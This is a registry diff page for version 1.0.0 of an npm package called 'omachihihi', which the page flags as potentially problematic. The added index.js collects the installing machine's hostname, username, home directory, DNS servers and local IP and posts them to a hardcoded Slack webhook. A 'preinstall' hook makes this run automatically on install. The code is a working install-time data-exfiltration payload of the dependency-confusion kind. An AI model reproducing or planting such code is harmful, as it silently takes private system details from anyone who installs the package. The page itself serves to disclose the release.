omachihihi 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of omachihihi might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,52 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const ip = require("ip");
4
+
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = "package: " + package + "\ndirname: " + __dirname + "\nHostname: " + os.hostname() + "\nUsername: " + os.userInfo().username + "\nLocal IP: " + ip.address();
23
+ console.log (postData)
24
+
25
+ var sendslack = JSON.stringify({
26
+ "text": postData
27
+ });
28
+
29
+ var options = {
30
+ hostname: "hooks.slack.com", //replace burpcollaborator.net with Interactsh or pipedream
31
+ port: 443,
32
+ path: "/services/TNB0N1YQM/BND7YH31U/mrlZbyCC9uIBg3t372UR5Arq",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/json",
36
+ "Content-Length": sendslack.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ // console.error(e);
48
+ });
49
+
50
+ req.write(sendslack);
51
+ req.end();
52
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "omachihihi",
3
+ "version": "1.0.0",
4
+ "description": "omachihihi",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "omachi01",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }